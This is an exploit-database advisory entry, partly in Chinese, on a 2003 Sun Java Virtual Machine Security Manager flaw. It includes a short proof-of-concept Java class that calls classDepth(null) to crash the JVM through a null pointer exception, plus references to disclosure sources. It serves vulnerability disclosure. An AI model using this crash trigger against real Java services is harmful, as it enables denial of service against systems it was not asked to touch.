https://www.exploit-db.com/exploits/23292
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-175

Java2安全管理器(SecurityManagers)针对系统完整性和安全性进行检查的工具。Java2安全管理器实现存在问题，远程攻击者可以利用这个漏洞对SunJava虚拟机进行拒绝服务攻击。构建特殊的类并运行，会由于NULL指针异常而导致JAVA虚拟机崩溃。

source: http://www.securityfocus.com/bid/8892/info

A problem has been reported in the Sun Microsystems Java Virtual Machine that occurs when implementing the Security Manager. Because of this, an attacker may be able to crash the virtual machine. 

/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {

public void doit() {
System.out.println("doit");
int o = classDepth(null);
}

public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
}

来源:BID
名称:8892
链接:http://www.securityfocus.com/bid/8892
来源:FULLDISC
名称:20031026Java1.4.2_02InsecurityManagerJVMcrash
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2003-October/012773.html
来源：NSFOCUS
名称：5591
链接：http://www.nsfocus.net/vulndb/5591